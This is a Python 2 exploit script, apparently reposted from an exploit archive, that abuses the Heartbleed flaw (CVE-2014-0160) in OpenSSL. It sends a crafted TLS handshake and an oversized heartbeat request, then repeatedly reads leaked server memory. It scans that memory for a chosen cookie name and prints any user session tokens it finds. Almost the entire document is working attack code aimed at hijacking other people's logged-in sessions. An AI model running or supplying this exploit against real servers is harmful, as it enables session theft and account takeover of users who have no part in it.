Heartbleed User Session Extraction Exploit

#!/usr/bin/python

# Connects to servers vulnerable to CVE-2014-0160 and looks for cookies, specifically user sessions.
# Michael Davis ([email protected])

# Based almost entirely on the quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])

# The author disclaims copyright to this source code.

import select
import sys
import string
import struct
import socket
import time
from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
options.add_option('-c', '--cookie', type='str', default='session', help='Cookie to look for. (default: session)')


def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01
''')

hb = h2bin('''
18 03 02 00 03
01 40 00
''')


class HeartBleeder(object):

    server_response = None
    socket = None
    hostname = ''
    port = 443
    found_sessions = set()
    cookie = 'session'
    cookie_length = 56

    def __init__(self, hostname='', cookie=''):
        self.hostname = hostname
        self.cookie = cookie

    def connect(self):
        """
        Connects to the remote server.
        """
        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sys.stdout.flush()
        self.socket.connect((self.hostname, self.port))
        sys.stdout.flush()
        self.socket.send(hello)
        sys.stdout.flush()

    def rcv_response(self):
        while True:
            _type, version, payload = self.rcv_message()
            if _type is None:
                print 'Server closed connection without sending Server Hello.'
                return
            # Look for server hello done message.
            if _type == 22 and ord(payload[0]) == 0x0E:
                break

    def rcv_message(self):

        record_header = self.rcv_all(5)
        if record_header is None:
            print 'Unexpected EOF receiving record header - server closed connection'
            return None, None, None
        _type, version, line = struct.unpack('>BHH', record_header)
        payload = self.rcv_all(line, 10)
        if payload is None:
            print 'Unexpected EOF receiving record payload - server closed connection'
            return None, None, None
        # print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
        return _type, version, payload

    def rcv_all(self, length, timeout=5):
        endtime = time.time() + timeout
        rdata = ''
        remain = length
        while remain > 0:
            rtime = endtime - time.time()
            if rtime < 0:
                return None
            r, w, e = select.select([self.socket], [], [], 5)
            if self.socket in r:
                data = self.socket.recv(remain)
                # EOF?
                if not data:
                    return None
                rdata += data
                remain -= len(data)
        return rdata

    def try_heartbeat(self):
        self.socket.send(hb)
        while True:
            _type, version, self.payload = self.rcv_message()
            if _type is None:
                print 'No heartbeat response received, server likely not vulnerable'
                return False

            if _type == 24:
                # print 'Received heartbeat response:'
                self.parse_response()
                if len(self.payload) > 3:
                    pass
                    # print 'WARNING: server returned more data than it should - server is vulnerable!'
                else:
                    print 'Server processed malformed heartbeat, but did not return any extra data.'
                return True

            if _type == 21:
                print 'Received alert:'
                self.hexdump(self.payload)
                print 'Server returned error, likely not vulnerable'
                return False

    def parse_response(self):
        """
        Parses the response from the server for a session id.
        """
        ascii = ''.join((c if 32 <= ord(c) <= 126 else ' ')for c in self.payload)
        index = string.find(ascii, self.cookie)
        if index >= 0:
            info = ascii[index:index + self.cookie_length]
            session = info.split(' ')[0]
            session = string.replace(session, ';', '')
            if session not in self.found_sessions:
                self.found_sessions.add(session)
                print session

    def hexdump(self, payload):
        """
        Prints out a hexdump in the event that server returns an error.
        """
        for b in xrange(0, len(payload), 16):
            line = [c for c in payload[b:b + 16]]
            hxdat = ' '.join('%02X' % ord(c) for c in line)
            pdat = ''.join((c if 32 <= ord(c) <= 126 else '.')for c in line)
            print '  %04x: %-48s %s' % (b, hxdat, pdat)
        print

    def scan(self):
        self.connect()
        self.rcv_response()
        self.try_heartbeat()


def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return

    cookies_str = 'session'
    if len(args) > 1:
        cookies_str = args[1]

    print cookies_str

    while True:
        heartbeat = HeartBleeder(hostname=args[0], cookie=cookies_str)
        heartbeat.scan()


if __name__ == '__main__':
    main()

#  0day.today [2018-03-14]  #